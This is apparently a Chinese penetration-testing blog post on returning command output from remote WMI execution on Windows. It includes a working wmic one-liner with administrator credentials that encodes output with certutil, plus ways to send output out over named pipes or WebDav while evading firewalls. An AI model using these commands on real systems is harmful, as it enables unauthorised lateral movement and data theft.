CMD执行命令获取回显的姿势

作者: Luan 分类: 渗透测试 发布时间: 2018-02-07 13:17

大家肯定都知道在Linux上是可以使用重定向输入输出到TCP连接来反弹一个shell的。但是windows上似乎没有看到过类似的方法。

 

Windows远程执行命令常见有PSEXEC和WMIEXEC。

PSEXEC要远程创建服务启动服务,回显是通过创建的后门服务来回显。

WMIEXEC自然是用WMI来执行命令,比较简单方便快捷的利用方法就是使用系统自带的wmic命令。wmic /node:ip process call create calc.exe。这个是只能获取到创建的新进程PID。

我前不久工作需要,做了一个批量使用WMI远程执行命令并且获取回显的工具。当时第一个思路是使用命名管道,但是写着写着发现不太合适,需要更直接获取回显的方法,就想到了另一个中转下的方法。把输出重定向到文件,编码后放倒一个WMI可以查到的地方,我当时是启一个新进程:

wmic /node:192.168.228.129 /user:administrator /password:123456 process call create "cmd /c netstat -an> %windir%\temp\luan.encode & certutil -encode -f %windir%\temp\luan.encode %windir%\temp\luan.base64 & echo cmd.exe /k> %windir%\temp\luan.line & copy /y %windir%\temp\luan.line+%windir%\temp\luan.base64 %windir%\temp\luan.input & type %windir%\temp\luan.input | findstr /V \- > %windir%\temp\luan.line & type nul>%windir%\temp\luan.bat &(for /f \"delims=\" %i in (%windir%\temp\luan.line) do @(set /p=%i<nul) >> %windir%\temp\luan.bat)&%windir%\temp\luan.bat"


wmic /node:192.168.228.129 /user:administrator /password:123456 process where ParentProcessId="PID" get CommandLine | findstr cmd.exe

执行第一条命了处理完结果存到一个新进程的属性里面,然后再执行第二条命令去查出结果。

 

这个的话还是需要写临时文件,理论上如果目标机器不是03,xp,可以使用powershell,应该就可以用powershell弄更优雅的方法来回显,不过我并不熟powerhshell,就懒得去想了。

后来想到使用管道应该可以直接实现一个半交互Shell。

于是写了个小程序验证验证,确实是可行的。于是就可以把一个无回显的shell直接变成一个有回显的半交互shell了。

 

不过现在445很难过防火墙策略,和ninty大哥交流后知道了原来还有Webdav这种姿势,不过有另外的局限性,需要目标机器有WebClient服务。(windows服务器一般都不会有这个服务,也可以安装不过挺麻烦)利用WebDav回显也很简单,直接重定向到\\ip\DavWWWRoot\luan.txt就好了。不过这里要考虑WebClient服务没有在运行的情况,可以利用服务触发器来启动他,并不需要管理员权限来启动,除非这个服务被禁止了。利用WebDav可以自定义端口,这就没有什么防火墙上的限制了。

 

CMD下用net use \\webdav_ip:port\就可以让webclient服务自己启动了。

也可以不使用net命令。用CMD自带的pushd,popd。

如果使用命名管道还有一点需要注意的,ninty大哥前不久在公众号发过一篇相关文章:https://mp.weixin.qq.com/s/F4TQioi99t6_qnyBIbIiFA  。用wmiexec,psexec远程执行命令的时候,访问网络资源是使用匿名登录的,所以你监听的程序如果是运行在windows上,需要进行相关的安全性设置,以允许匿名访问指定的命名管道。

 

 

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!